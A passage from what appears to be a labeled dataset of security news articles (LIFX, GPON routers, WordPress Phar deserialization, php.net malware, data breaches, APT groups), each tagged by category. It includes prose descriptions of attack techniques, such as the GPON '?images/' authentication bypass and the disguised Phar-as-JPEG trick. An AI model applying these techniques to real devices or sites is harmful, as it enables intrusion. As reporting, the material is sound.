""Armed with knowledge of the encryption algorithm, key, initialisation vector, and an understanding of the mesh network protocol we could then inject packets into the mesh network, capture the Wi-Fi details, and decrypt the credentials, all without any prior authentication or alerting of our presence,"" researchers from security consultancy Context wrote.
""It should be noted, since this attack works on the 802.15.4 6LoWPAN wireless mesh network, an attacker would need to be within wireless range, ~30 meters, of a vulnerable LIFX bulb to perform this attack, severely limiting the practicality for exploitation on a large scale.""
LIFX quickly responded to the Context findings and has now issued a firmware update to its smart bulb firmware, which encrypted all 6LoWPAN traffic and secured the process supporting new bulbs on the network.

The company said that it was unaware of any users being affected by the security issue and released LIFX security update.

""In rare circumstances the security issue could expose network configuration details on the mesh radio, requiring a person to dismantle a bulb, reverse engineer the debug connection and firmware, then be physically present with dedicated hardware within the bounds of your WiFi network (not from the internet). Eg. Someone hiding in your garden with complex technical equipment. No LIFX users have been affected that we are aware of, and as always we recommend that all users stay up to date with the latest firmware and app updates,"" the firm said in a blog post.

",Vulnerability
Facebook Web Search Box May Be Dangerous,https://thehackernews.com/2011/03/facebook-web-search-box-may-be.html,"Facebook users be warned: If you see a second search box at the top of your personal page, don't use it.

""We are not testing the placement of a separate Web search field and have no plans to do so,"" a Facebook representative told the blog Search Engine Land. An image of a Facebook page with two search boxes has been making its way around the Internet for the past few days.

In the image, the standard box that lets you search Facebook is visible at the top of the page, but just to the right of it is another search box reading ""Search the Web.""

Some tech news sites and blogs speculated that Facebook was testing out its own search engine, perhaps to challenge Google or to partner with a Google competitor such as Blekko or Microsoft's Bing.

The Facebook representative, however, said it's likely a hack.

""We believe the second search field or 'Search the Web' box appeared on people's accounts as the result of unknown actions by a third party targeting the browser (potentially a browser plugin or malware) unrelated to Facebook,"" he or she told Search Engine Land.

Or, as the TechCrunch blog said, it could just as easily be a Photoshop hoax.

",Malware
APT Groups Return - Chinese Hackers Resume Cyber Espionage Operations,https://thehackernews.com/2014/04/apt-groups-return-chinese-hackers.html,"Year back, one of the largest ""Advanced Persistent Threat"" (APT) hacking groups received widespread attention from the media and from the U.S. government. APT Groups are China's cyber espionage units and they won't stop their espionage operation, despite being exposed last year.

Yes, APT hacking groups, APT1 and APT12, are again making headlines. Without bothering that the world knows about its cyber hacking activities, the two of its major hacking groups have became once again active and have resumed their espionage operation, reports the security firm Mandiant.

A timeline of APT1 economic espionage conducted since 2006 and has systematically stolen confidential data from at least 141 organizations across multiple industries.

Mandiant, the FireEye owned company, announced in its M-Trend report that over the past year the firm has a close eye on the APT1 group, which it first exposed in February 2013.

It's also been monitoring the second Chinese hackers group, APT12 that apparently hacked the New York Times in January 2013 compromising its networks over the course of past four months.

Last year Mandiant provided the evidence linked APT1 group to UNIT 61398 of China's 2nd Bureau of the People's Liberation Army (PLA), but Beijing has always denied the accusations, remarking the report as ""full of loopholes"" and stated, ""Chinese laws prohibit any action including hacking that damages Internet security,"" and added, ""to accuse the Chinese military of launching cyber attacks without solid proof is unprofessional and baseless.""

But the American computer security firm, Mandiant keep on following the groups' activities. The report reads, ""Mandiant's continued observations of APT1 and APT12 activity, measured by command and control (C2) sessions, revealed a different response behind the scenes, suggesting a possible acknowledgement that both groups had been exposed.""
But the accusations didn't able to stop both the groups from continuing the cyber attacks. Rather both the groups only changed their operational infrastructure and delayed their return.
""Based on comparisons between APT1 and APT12 activity during 2013 and the previous three years, Mandiant believes that these threat groups responded to their public exposure in two ways. First, both groups delayed their return to normal operations following the end of the Chinese New Year holidays in February. Second, both groups quickly shifted their operational infrastructure to continue their activities,"" the report reads.
Being following, Mandiant observed a longer period of inactivity but roughly 150 days after the article released in The New York Times, APT12 resumed its ""pre-disclosure levels"" of activity and APT1 resumed its consistent intrusion activity nearly 160 days after its exposure.

""We believe APT1 and APT12 changed their exposed operational architecture in an attempt to obscure their future data theft operations,"" said Mandiant.

It is believed that the intrusive cyber operations probably won't stop, as the PRC is continuously denying engaging in the state sponsored data theft activities and even after the disclosure of both the groups they have resumed their espionage operation.

",Cyber_Attack
New PHP Code Execution Attack Puts WordPress Sites at Risk,https://thehackernews.com/2018/08/php-deserialization-wordpress.html,"Sam Thomas, a security researcher from Secarma, has discovered a new exploitation technique that could make it easier for hackers to trigger critical deserialization vulnerabilities in PHP programming language using previously low-risk considered functions.

The new technique leaves hundreds of thousands of web applications open to remote code execution attacks, including websites powered by some popular content management systems like WordPress and Typo3.

PHP unserialization or object injection vulnerabilities were initially documented in 2009, which could allow an attacker to perform different kinds of attacks by supplying malicious inputs to the unserialize() PHP function.

If you are unaware, serialization is the process of converting data objects into a plain string, and unserialize function help program recreate an object back from a string.

Thomas found that an attacker can use low-risk functions against Phar archives to trigger deserialization attack without requiring the use of unserialize() function in a wide range of scenarios.

Phar files, an archive format in PHP, stores metadata in a serialized format, which gets unserialized whenever a file operation function (fopen, file_exists, file_get_contents, etc.) tries to access the archive file.
""This is true for both direct file operations (such as ""file_exists"") and indirect operations such as those that occur during external entity processing within XML (i.e., when an XXE vulnerability is being exploited),"" Thomas said.

Exploiting PHP Deserialization Attack Against WordPress Sites
In a detailed paper released at Black Hat conference last week, Thomas demonstrated how this attack can be executed against Wordpress sites using an author account to take full control over the web server.

For successful exploitation of the flaw, all an attacker needs to do is upload a valid Phar archive containing the malicious payload object onto the target's local file system and make the file operation function access it using the ""phar://"" stream wrapper.

Thomas also revealed that an attacker can even exploit this vulnerability using a JPEG image, originally a Phar archive converted into valid JPEG by modifying its first 100 bytes.
""The way certain thumbnail functionality within the application [WordPress] works enables an attacker with the privileges to upload and modify media items to gain sufficient control of the parameter used in a ""file_exists"" call to cause unserialization to occur,"" the researcher said.
Once the crafted thumbnail uploaded on the targeted WordPress server, the attacker can use another function to call the same image file as a Phar archive using the ""phar://"" stream wrapper, eventually executing the arbitrary code when the program deserializes the metadata.
""The vulnerability exists due to insecure deserialization of data passed as an image file and then executed via the 'phar://' stream wrapper within the 'wp_get_attachment_thumb_file' function in '/wpincludes/post.php' script,"" an advisory reads.

""A remote authenticated attacker with the ability to create/edit posts can upload a malicious image and execute arbitrary PHP code on vulnerable system.""
Thomas reported this vulnerability to the WordPress security team earlier last year, and the company acknowledged the issue. However, the patch released by the company did not address the problem completely.

Thomas also reported the vulnerability to Typo3 on 9th June 2018, and the vendor addressed the issue in versions 7.6.30, 8.7.17 and 9.3.

For more details about the vulnerability, you can head on to the detailed paper published by Secarma.

",Vulnerability
Over 300 Million AdultFriendFinder Accounts Exposed in Massive Data Breach,https://thehackernews.com/2016/11/adult-friend-finder-hack.html,"Adult Friend Finder, a casual dating website with the tagline ""hookup, find sex or meet someone hot now,"" has suffered another massive data breach, but this time it is much worse than the last year.

Over 300 Million AdultFriendFinder accounts have reportedly been exposed in a massive data breach that hit adult dating and entertainment company Friend Finder Network.

Friend Finder Network is the world's largest sex and swinger community that has a number of assets and the hack reportedly exposed the information from more than 412 Million accounts across its corporate holdings, which include AdultFriendFinder, Cams, Penthouse, and Stripshow.

412,214,295 User's Accounts on SALE!

Breach notification site LeakedSource broke the story, reporting that nearly 339 Million accounts from sex hookup site AdultFriendFinder, over 60 Million accounts from Cams.com, 7 Million from Penthouse and a handful of accounts from Stripshow and iCams were compromised, for a total of 412,214,295 affected users.
""Over 400 million accounts representing 20 years of customer data was compromised, which makes it by far the largest breach we have ever seen,"" said LeakedSource.

Poor Or No Encryption for Passwords

According to the breach notification service, the database containing email addresses, easily crackable (or in some cases, unprotected) passwords, usernames, IP addresses and browser information, of over 412 Million users has been made available to online criminal marketplaces.

LeakedSource further reveals that Friend Finder Network did not properly encrypt its users' data. The company stored user passwords in plainly visible format, or with the very poor Secure Hash Algorithm 1 (SHA1) hash function, which is not regarded as secure.

Talking about passwords, here are some common passwords that were used by Friend Finder Network users to log in to the websites: 123456, 123456789, password, qwerty, and pussy, fuckme, fuckyou and iloveyou.

Millions Of Deleted User Accounts Also Exposed

What's worse? If you are feeling relieved and thanking God that you already deleted your account on the adult website in the past and you are on the safer side, I am sorry to say that you too are in great trouble.

The leaked database also includes details of over 15 Million users who already had ""deleted"" their accounts, as well as users for assets the company no longer owned, like Penthouse.

In terms of cheating partners, the hack, which took place last month, is not as bad as last year's data breach that exposed secret sexual fantasies of over 3.5 Million cheating people.

On the other hand, the Ashley Madison data breach exposed the previous year also more sensitive than the latest one because the breach exposed confidential information like sexual preferences, fantasies, fetishes and others such data of around 32 Million users.

Here's How the Adult Network possibly got Hacked:

According to CSO Online, a security researcher using the online moniker, Revolver discovered Local File Inclusion vulnerabilities on the AdultFriendFinder website last month. The researcher believed that the same flaw was exploited to hack the adult network.

Friend Finder Network said the company was aware of the security incident and was looking into the matter to determine whether or not the claims were valid.
""We are aware of reports of a security incident, and we are currently investigating to determine the validity of the reports,"" Diana Lynn Ballou, Friend Finder Network's Vice President and Senior Counsel of Corporate Compliance & Litigation told CSO Online. ""If we confirm that a security incident did occur, we will work to address any issues and notify any customers that may be affected.""
So, the company neither confirmed nor denied the hack against its network, though admitted the company had recently received several reports of security problems.

Friend Finder Network has yet to offer additional details on the hack and why the company was still storing information of user's accounts deleted long ago.

",Vulnerability
Beware! Pre-Installed Android Malware Found On 36 High-end Smartphones,https://thehackernews.com/2017/03/android-malware-apps.html,"Bought a brand new Android Smartphone? Do not expect it to be a clean slate.

At least 36 high-end smartphone models belonging to popular manufacturing companies such as Samsung, LG, Xiaomi, Asus, Nexus, Oppo, and Lenovo, which are being distributed by two unidentified companies have been found pre-loaded with malware programs.

These malware infected devices were identified after a Check Point malware scan was performed on Android devices. Two malware families were detected on the infected devices: Loki and SLocker.

According to a blog post published Friday by Check Point researchers, these malicious software apps were not part of the official ROM firmware supplied by the smartphone manufacturers but were installed later somewhere along the supply chain, before the handsets arrived at the two companies from the manufacturer's factory.

First seen in February 2016, Loki Trojan inject devices right inside core Android operating system processes to gain powerful root privileges. The trojan also includes spyware-like features, such as grabbing the list of current applications, browser history, contact list, call history, and location data.

On the other hand, SLocker is a mobile ransomware that locks victims devices for ransom and communicates through Tor in order to hide the identity of its operators.

List of Popular Smartphones Infected with Malware

Here's the list of infected smartphones:

Galaxy Note 2
LG G4
Galaxy S7
Galaxy S4
Galaxy Note 4
Galaxy Note 5
Xiaomi Mi 4i
Galaxy A5
ZTE x500
Galaxy Note 3
Galaxy Note Edge
Galaxy Tab S2
Galaxy Tab 2
Oppo N3
Vivo X6 plus
Nexus 5
Nexus 5X
Asus Zenfone 2
LenovoS90
OppoR7 plus
Xiaomi Redmi
Lenovo A850

The malware backdoor offers its operator unrestricted access to these infected devices, from downloading, installing and activating Android malicious apps, deleting user data, uninstalling security software and disabling system apps, to dialing premium phone numbers.

This incident underscores the dangers of untrusted supply chains, and experts are quite worried about the security of the supply chain with reports of over 20 incidents where rogue retailers have managed to pre-install malware on new Android handsets.

Here's How to Remove the Malware Infections:

Since the malware programs were installed to the device's ROM using system privileges, it's hard to get rid of the infections.

To remove the malware from the infected devices, either you can root your device and uninstall the malware apps easily, or you would need to completely reinstall the phone firmware/ROM via a process called ""Flashing.""

Flashing is a complex process, and it is recommended that users power off their device and approach a certified technician/mobile service provider.

It's not the first time when high-end smartphones have been shipped pre-installed with malicious apps that can covertly siphon sensitive user data.

In December last year, certain low-cost Android smartphones and tablets were found to be shipped with malicious firmware that covertly gathered data about the infected devices, displays ads on top of running apps and downloads unwanted APKs on the victim's devices.

In November, researchers discovered a hidden backdoor in the AdUps firmware of over 700 Million Android smartphones, which also covertly gathered data on phone owners and sent it to a Chinese server without the user's knowledge.

Meanwhile, a flaw in the Ragentek firmware used by certain low-cost Android devices was also discovered that allowed attackers to remotely execute malicious code with root privileges, turning over full control of the devices to hackers.

",Malware
A Simple Tool Released to Protect Dasan GPON Routers from Remote Hacking,https://thehackernews.com/2018/05/protect-router-hacking.html,"Since hackers have started exploiting two recently disclosed unpatched critical vulnerabilities found in GPON home routers, security researchers have now released an unofficial patch to help millions of affected users left vulnerable by their device manufacturer.

Last week, researchers at vpnMentor disclosed details of—an authentication bypass (CVE-2018-10561) and a root-remote code execution vulnerability (CVE-2018-10562)—in many models of Gigabit-capable Passive Optical Network (GPON) routers manufacturer by South Korea-based DASAN Zhone Solutions.

If exploited, the first vulnerability lets an attacker easily bypass the login authentication page just by appending ?images/ to the URL in the browser's address bar.

However, when coupled with the second flaw that allows command injection, unauthenticated attackers can remotely execute malicious commands on the affected device and modified DNS settings, eventually allowing them to take full control of the device remotely.

Shortly after the details of the vulnerabilities went public, security researchers at Chinese IT security firm Qihoo 360 Netlab found that threat actors have started exploiting both the flaws to add the vulnerable routers into their botnet malware networks.
Moreover, a working proof-of-concept (PoC) exploit, written in python, for GPON router vulnerabilities has already been released on GitHub by an independent security researcher, eventually making exploitation easier for even unskilled hackers.

The researchers even published a video demonstration showing how the attack works.

Here's How to Secure Your GPON Wi-Fi Router
Researchers at vpnMentor already reported the issues to Dasan, but the company has not yet released any fix for the issue, and the researchers believe that the patch is not in development either.

What's worse? At the time of writing, almost a million vulnerable GPON routers are still exposed on the Internet and can be easily hijacked.

However, even if there is no official patch available, users can protect their devices by disabling remote administration and using a firewall to prevent outside access from the public Internet.

Making these changes to your vulnerable router would restrict access to the local network only, within the range of your Wi-Fi network, effectively reducing the attack surface by eliminating remote attackers.

If you are unsure about these settings, vpnMentor has done this job for you by providing an online ""user-friendly"" solution that automatically modifies your router settings on your behalf, keeping you away from remote attacks.
""It was created to help mitigate the vulnerabilities until an official patch is released,"" the researchers said. ""This tool disables the web server in a way that is not easy to reverse, it can be done with another patch script, but if you are not comfortable with the command line we suggest firewalling your device until an official patch is released.""
To use this tool, all you need open this web page, and scroll down to the input form asking for the IP address of your exposed GPON router (local LAN address, not WAN), a new password for SSH/Telnet on your router.

In a separate tab open your router's web interface using https in the URL and then press ""Run Patch"" on the vpnMentor to continue and apply changes.

You can apply the patch to secure your devices, but it should be noted that it is not an official patch from the manufacturer and we do not encourage users to run any third-party scripts or patches on their devices.

So, users should either wait for official fixes or apply changes manually, when possible.

",Vulnerability
Hillary Clinton's Presidential Campaign also Hacked in Attack on Democratic Party,https://thehackernews.com/2016/07/hillary-clinton-hacked.html,"There's a lot more to come from the DNC Hack.

The Associated Press confirmed yesterday that the computer systems used by Hillary Clinton's presidential campaign were hacked as part of the recent Democratic National Convention (DNC) hack.

Last week's email dump containing almost 20,000 emails from top DNC officials was just the beginning, which led DNC Chairwoman Debbie Wasserman Schultz to resign as the group's leader, as WikiLeaks announced that it was part one of its new Hillary Leaks series.

This suggests WikiLeaks Founder Julian Assange has had his hands on more data from the DNC hack that, according to him, could eventually result in the arrest of Hillary Clinton.

Assange — Wikileaks' Next Leak will lead to Arrest of Hillary Clinton

In an interview with Robert Preston of ITV last month, Assange made it clear that he hopes to harm Hillary Clinton's chances from becoming president of the United States, opposing her candidacy on both policies as well as personal grounds.

Assange also stressed that he had ""a lot more material"" about Clinton's presidential campaign that could possibly provide enough evidence for the indictment of Hillary Clinton.

Now, when it has been reported that the computer systems used by Clinton's presidential campaign were breached as part of the DNC hack, one could guess this could be the next release in the Hillary Leaks series by Assange.

According to federal law enforcement officials and some cybersecurity experts, the DNC hack is believed to be an attempt by the Russian intelligence services to influence the presidential election.

U.S. intelligence agencies have reportedly concluded that the Russian government was behind the theft of the DNC emails and documents. Although, it's unclear whether the attack was fairly routine espionage or an effort to manipulate the presidential election.

DNC Hack Malware Based Upon Chinese Open-Source Tool

Even, security firm CrowdStrike, who first investigated the DNC hack, said that the group that hacked into the DNC servers in April 2016 was engaged in extensive political and economic espionage to benefit Russian government and closely linked to the Russia's powerful and highly capable intelligence services.

According to the firm, the Fancy Bear APT (also known as APT28 and Pawn Storm) used a piece of malware called X-Tunnel to steal data from the system without getting detected.

Most recently, security firm Invincea also released its own report, saying X-Tunnel was used to steal the data from the DNC servers, but since the malware appeared to be a repurposed open source tool from a Chinese company, the firm did not support or refute ""the Russian origins of the XTunnel binary.""
The F.B.I. said in a statement that it ""is aware of media reporting on cyber intrusions involving multiple political entities, and is working to determine the accuracy, nature, and scope of these matters.""

Democratic Party Hack Influences the Presidential Election

We still have to accept the fact that someone is attacking America's computer systems in an attempt to influence the presidential election.

So this kind of politically motivated attack can become even worse in November — at the time of voting.

Security expert Bruce Schneier stressed that since Clinton's computer systems can be targeted as part of DNC attack, it is possible that America's election systems and voting machines could also be vulnerable to a similar attack.
""We need to secure our election systems before autumn,"" says Schneier via the Washington Post. ""If Putin's government has already used a cyber attack to attempt to help Trump win, there's no reason to believe he won't do it again — especially now that Trump is inviting the ""help.""""
Since more and more states have moved to electronic voting machines and Internet voting over the past years, it has made a way for hackers to manipulate these systems.

Schneier suggests the government to ""create tiger teams to test the machines' and systems' resistance to attack, drastically increase their cyber-defenses"" and if can not guarantee their security online, take them offline.

",Cyber_Attack
Google detected Malware on PHP.net website; Flagged as 'Suspicious' site,https://thehackernews.com/2013/10/google-detected-malware-on-phpnet.html,"If you are today trying to visit the php.net website, an official website of the PHP scripting language, you will likely see the above shown result, instead of the original website.
Chrome and Firefox is currently flagging the site as ""suspicious"" and contains malware that can harm your computer.
According to Google's Webmaster Tools, the script at https://static.php.net/www.php.net/userprefs.js was included as suspicious, and Google's Safe Browsing diagnostics for php.net do suggest that malware has been present on the site in the last 90 days:
""Of the 1513 pages we tested on the site over the past 90 days, 4 page(s) resulted in malicious software being downloaded and installed without user consent.""
""Malicious software includes 4 trojan(s). Malicious software is hosted on 4 domain(s), including cobbcountybankruptcylawyer.com/, stephaniemari.com/, northgadui.com/ . 3 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including stephaniemari.com/,northgadui.com/, satnavreviewed.co.uk/ .""
The obfuscated JavaScript ""userprefs.js"" inserts a hidden iframe into the webpage, which loads content from an external site known for distributing malware.
This suggests that the website may have been compromised recently. Well, Google's Safe Browsing team will be looking into the issue and we will update this article if we hear anything from Google or PHP site owner.

Update (1:42 PM Thursday, October 24, 2013 GMT): It seems that the issue has been resolved by admins and PHP.net is back as a normal clean website, after removing malicious scripts.

Update: After Security Audit, PHP team found that two servers were compromised for some unknown time. They said that their Git repository was not compromised, and it remains in read only mode as services are brought back up in full.

""As it's possible that the attackers may have accessed the private key of the php.net SSL certificate, we have revoked it immediately. We are in the process of getting a new certificate, and expect to restore access to php.net sites that require SSL (including bugs.php.net and wiki.php.net) in the next few hours."" blog post said.

The team concludes that JavaScript malware was served to a small percentage of php.net users from the 22nd to the 24th of October 2013. Now all affected services have been migrated to new secure servers.

",Malware
FBI used Anonymous and Lulzsec Hackers to attack foreign governments,https://thehackernews.com/2013/08/fbi-used-anonymous-and-lulzsec-hackers.html,"Sentencing for former LulzSec leader Hector Xavier Monsegur, better known as ""Sabu"" , has again been delayed. Monsegur pleaded guilty to a dozen criminal counts two years prior and stands to face more a maximum sentence of more than 124 years.
Another Lulzsec Hacker Jeremy Hammond has claimed that the FBI used Sabu to coordinate attacks against foreign governments, by Anonymous hackers and Others.

The delays indicate that the FBI is not extracting information from Monsegur and this could mean that the hacker may be helping FBI with other covert operations as Jeremy Hammond claims.
Jeremy Hammond, released a statement on Thursday accusing the US government of asking Monsegur to encourage fellow hacktivists to infiltrate foreign government entities.

""What many do not know is that Sabu was also used by his handlers to facilitate the hacking of the targets of the government's choosing including numerous websites belonging to foreign governments"", Hammond said.

""What the United States could not accomplish legally, it used Sabu, and by extension, me and my co-defendants, to accomplish illegally"", Hammond added.

""Why was the US using us to infiltrate the private networks of foreign governments? What are they doing with the information we stole? And will anyone in our government ever be held accountable for these crimes?""

Hammond pleaded guilty in May to hacking private intelligence firm Stratfor to expose millions of revelatory emails. The Illinois native faces up to 10 years in prison when he is sentenced, scheduled for 15th November.

",Cyber_Attack
Russian Hacker who was wanted by FBI arrested in Prague,https://thehackernews.com/2016/10/russian-hacker-fbi.html,"UPDATE — It Turns out that the Russian Hacker arrested by the FBI is responsible for 2012 LinkedIn Data Breach. (Read latest update here)

Czech police, in cooperation with the FBI, has arrested a Russian citizen in Prague suspected of participating in conducting cyber-attacks against the United States.

Czech police announced the arrest on its official website Tuesday evening, without giving any further details about the man and for what he is wanted for.

Yevgeniy N, 29-year-old, alleged Russian Hacker, was arrested after Interpol issued a warrant.

Police detained the individual at a hotel in the city's center 12 hours after receiving the order. Officials say he was living in the country with his girlfriend and enjoying a lavish lifestyle, driving expensive cars.

Neither the Czech police nor the FBI has issued any details on the charges that led to the arrest of the suspect.
""Czech police carried out a successful joint operation with the US Federal Bureau of Investigation,"" the police said. ""This time the objective of the police was a Russian national, suspected of committing hacker attacks on targets in the United States.""
Soon after the hacker was arrested in the hotel in Prague, he fainted and lost consciousness. Police provided him first aid and later took him to a hospital.

The arrest took place a week after the Obama administration formally accused Russia of hacking US institutions in an attempt to influence the presidential election.
So, it has been suspected that the arrested man could be involved in hacking against the Democratic National Committee, or its presidential candidate Hillary Clinton, or other alleged cyber incursions of the voter databases in some states.

According to the authorities, the Czech judiciary will take the decision on the hacker's extradition to the United State, where he is facing charges for his hacking-related crimes.

The Hacker News will update the story as soon as the authorities disclose the name and other details about the arrested hacker. Stay Tune!

",Cyber_Attack
"In-Brief: Telegram Vulnerability, Malware in Nuclear Plant, Anti-Tor Malware and Hotpatching Exploit",https://thehackernews.com/2016/04/in-brief-news-2.html,"Clickjacking Vulnerability in Telegram Web Client
The official Telegram web-client that allows its users to access messenger account over desktop's web browser is vulnerable to clickjacking web application vulnerability.

Egyptian security researcher Mohamed A. Baset told The Hacker News about a flaw in Telegram that could allow an attacker to change sensitive information of a Telegram user, including password and the recovery e-mail. [Watch Video Demo]
""Telegram web client is not protecting itself from clickjacking with the typical X-Frame-Options header but uses a JS frame busting technique to prevent the website to be iframed,"" Mohamed says.
However, by exploiting one of HTML5 Features, Mohamed was able to open the Telegram account's settings page with a sandboxed iframe to prevent redirecting to top window, which also allows him to execute cross-site request forgery (csrf) vulnerability on the web-client.

""I sent [bug report] it to them [Telegram team] but haven't got any reply or even an automated one (4 days ago),"" Mohamed told The Hacker News.

German Nuclear Power Plant in Bavaria Infected with Malware

A German nuclear power plant has been found to be infected with several computer viruses that can steal login credentials, allowing a remote attacker to access the infected computers.

The viruses, identified as ""W32.Ramnit"" and ""Conficker"", were discovered on office computers and in a computer system used to control the movement of radioactive fuel rods, the station's operator said on Tuesday.

However, the infections appear not to have posed any threat to the nuclear facility's operations because the viruses could not activate, thanks to the computers that are made isolated from the Internet.

Former Tor Developer Created Malware for FBI to Hack Tor Users

Do you know who created malware for the FBI that allowed Feds to unmask Tor users?

It's an insider's job… A former Tor Project developer.

According to an investigation, Matthew J. Edman, a cyber security expert and former employee of the Tor Project, helped the FBI with Cornhusker a.k.a Torsploit malware to hack Tor users in several high-profile cases, including Operation Torpedo and Silk Road.

The Malware exploited vulnerabilities in Adobe Flash Player to reveal Tor users' actual IP address to an FBI servers outside the Tor network.

Child Porn Suspect Held in Jail for 7 Months On Refusing to Decrypt Hard Drives

A Philadelphia man has been in jail for seven months and counting after being refused to comply with a court order forcing him to decrypt two password-protected hard drives seized in connection with a child pornography investigation.

The suspect, Francis Rawls, who is a former Philadelphia Police Department sergeant, has yet not been charged with any child pornography crime because the required evidence is locked in his hard drives using Apple's FileVault encryption software.

Rawls failed to comply with the court order, as the passwords he entered in the initial days of the investigation didn't decrypt his hard drives, and was then taken into indefinite imprisonment by US Marshals on Sept. 30, 2015.

Hacking Group Hijacks Windows Hotpatching to Hide its Malware

The Microsoft's Windows Defender Advanced Threat Hunting team detected that a cyber espionage group of hackers, known as PLATINUM, has found a way to turn the Windows's Hotpatching technique to hide its malware from Antivirus products.

The Hotpatching feature allows system to upgrade applications or the operating system in the running system without having to reboot the computer by inserting the new, updated code into a server.

PLATINUM group has been active since 2009 and launching large-scale attacks against governmental organizations, intelligence agencies, defense institutes and telecommunication providers in South and Southeast Asia.

",Vulnerability
Russian Pleads Guilty to Running 'CardPlanet' to Sell Stolen Credit Cards,https://thehackernews.com/2020/01/russian-credit-card-hacker.html,"Image credit: Times of Israel.
Aleksei Burkov, a 29-year-old Russian hacker, on Thursday pleaded guilty to multiple criminal charges for running two illegal websites that helped cyber criminals commit more than $20 million in credit card fraud.

The first website Burkov operated was an online marketplace for buying and selling stolen credit card and debit card numbers—called Cardplanet—which roughly hosted 150,000 payment card details between the years 2009 and 2013.

Cardplanet marketplace offered stolen payment card details for anywhere between $2.50 and $10 a card, depending on the card type, country of origin, and the availability of card owner information.

The carding website even offered a paid service that allowed buyers to instantly verify if a stolen payment card were still valid.

""Many of the cards offered for sale belonged to U.S. citizens. The stolen credit card data from more than 150,000 compromised payment cards was allegedly sold on Burkov's site and has resulted in over $20 million in fraudulent purchases made on U.S. credit cards,"" the Department of Justice said in an old press release.

The majority of such stolen credit cards are obtained using illegal means such as phishing and the use of banking malware, malicious software implanted into cash registers at the stores, leaked databases, and hacked financial account passwords.

Besides Cardplanet, Burkov also masterminded a separate invite-only forum website for elite cybercriminals where they advertised stolen personal identity information, malicious software, and other illegal services, like money laundering and hacking services.

""To obtain membership in Burkov's cybercrime forum, prospective members needed three existing members to ""vouch"" for their good reputation among cybercriminals and to provide a sum of money, normally $5,000, as insurance,"" the Department of Justice said on Thursday.

""These measures were designed to keep law enforcement from accessing Burkov's cybercrime forum and to ensure that members of the forum honored any deals made while conducting business on the forum.""

Burkov was arrested at Israel's Ben-Gurion Airport in late 2015 and extradited to the United States in November 2019 after he lost his appeal against extradition in the Israeli Supreme Court and the Israeli High Court of Justice.

According to local media, Russia last year offered Israel to release one of its citizens Naama Issachar, who was sentenced in Russia for drug offenses, in exchange for Burkov's release, but Israel turned down that offer and allowed his extradition to the United States.

On admitted charges of access device fraud and conspiracy to commit computer intrusion, identity theft, wire, and access device fraud and money laundering, Burkov is facing a prison sentence of up to 15 years, which will be announced by the federal court in Alexandria on 8th May 2020.
",Cyber_Attack
New BlackEnergy Crimeware Enhanced to Target Linux Systems and Cisco Routers,https://thehackernews.com/2014/11/blackenergy-crimeware-router-linux.html,"Security researchers at Kaspersky Lab have unearthed new capabilities in the BlackEnergy Crimeware weapon that has now ability to hacking routers, Linux systems and Windows, targeting industry through Cisco network devices.

The antivirus vendor's Global Research & Analysis Team released a report Monday detailing some of the new ""relatively unknown"" custom plug-in capabilities that the cyber espionage group has developed for BlackEnergy to attack Cisco networking devices and target ARM and MIPS platforms.

The malware was upgraded with custom plugins including Ciscoapi.tcl which targets The Borg's kit, and According to researchers, the upgraded version contained various wrappers over Cisco EXEC-commands and ""a punchy message for Kaspersky,"" which reads, ""F*uck U, Kaspersky!!! U never get a fresh B1ack En3rgy. So, thanks C1sco 1td for built-in backd00rs & 0-days.""

BlackEnergy malware program was originally created and used by cybercriminals to launch Distributed Denial-of-Service (DDoS) attacks. The malware developer then added some custom plugins used to funnel banking information.

Most recently BlackEnergy malware was observed in alleged state-sponsored attacks targeting the North Atlantic Treaty Organization (NATO), Ukrainian and Polish government agencies, and a variety of sensitive European industries over the last year.

Now, the cyber espionage group has enhanced the malware program which also has the capabilities like port scanning, password stealing, system information gathering, digital certificate theft, remote desktop connectivity and even hard disk wiping and destroying.

In case if a victim knew of the BlackEnergy infection on their system, the attacker activates ""dstr,"" the name of a plugin that destroys hard disks by overwriting them with random data. A second victim was compromised by using VPN credentials taken from the first victim.

Security researchers, Kurt Baumgartner and Maria Garnaeva, also came across BlackEnergy version that works on ARM and MIPS based systems and found that it has compromised networking devices manufactured by Cisco Systems.

However, the experts are not sure for the purpose of some plugins, including one that gathers device instance IDs and other information on connected USB drives and another that collects details on the BIOS (Basic Input/Output System), motherboard, and processor of infected systems.
""We are pretty sure that our list of [BlackEnergy] tools is not complete,"" the researchers wrote. ""For example, we have yet to obtain the router access plugin, but we are confident that it exists. Evidence also supports the hypothesis that there is a decryption plugin for victim files.""
Multiple unnamed victim companies in different countries were targeted with the latest BlackEnergy malware, including victims in Russia, Germany, Belgium, Turkey, Libya, Vietnam and several other countries.

Another Crimeware group, the Sandworm Team, believed to have used the BlackEnergy exclusively throughout 2014 at victim sites and included custom plugin and scripts of their own. Also last month, the Sandworm Team had targeted organizations across the world in an espionage campaign, and iSIGHT Partners revealed that the team used spear phishing as the major attack vector to victimize their targets.

",Malware
Apache Tomcat Patches Important Remote Code Execution Flaw,https://thehackernews.com/2019/04/apache-tomcat-security-flaw.html,"The Apache Software Foundation (ASF) has released new versions of its Tomcat application server to address an important security vulnerability that could allow a remote attacker to execute malicious code and take control of an affected server.

Developed by ASF, Apache Tomcat is an open source web server and servlet system, which uses several Java EE specifications such as Java Servlet, JavaServer Pages (JSP), Expression Language, and WebSocket to provide a ""pure Java"" HTTP web server environment for Java concept to run in.

The remote code execution vulnerability (CVE-2019-0232) resides in the Common Gateway Interface (CGI) Servlet when running on Windows with enableCmdLineArguments enabled and occurs due to a bug in the way the Java Runtime Environment (JRE) passes command line arguments to Windows.

Since the CGI Servlet is disabled by default and its option enableCmdLineArguments is disabled by default in Tomcat 9.0.x, the remote code execution vulnerability has been rated as important and not critical.

In response to this vulnerability, the CGI Servlet enableCmdLineArguments option will now be disabled by default in all versions of Apache Tomcat.

Affected Tomcat Versions

Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93


Unaffected Tomcat Versions

Apache Tomcat 9.0.18 and later
Apache Tomcat 8.5.40 and later
Apache Tomcat 7.0.94 and later


Successful exploitation of this vulnerability could allow a remote attacker to execute an arbitrary command on a targeted Windows server running an affected version of Apache Tomcat, resulting in a full compromise.

The vulnerability was reported to the Apache Tomcat security team by researchers from Nightwatch Cybersecurity on 3rd March 2019 and was made public on 10 April 2019 after the ASF released the updated versions.

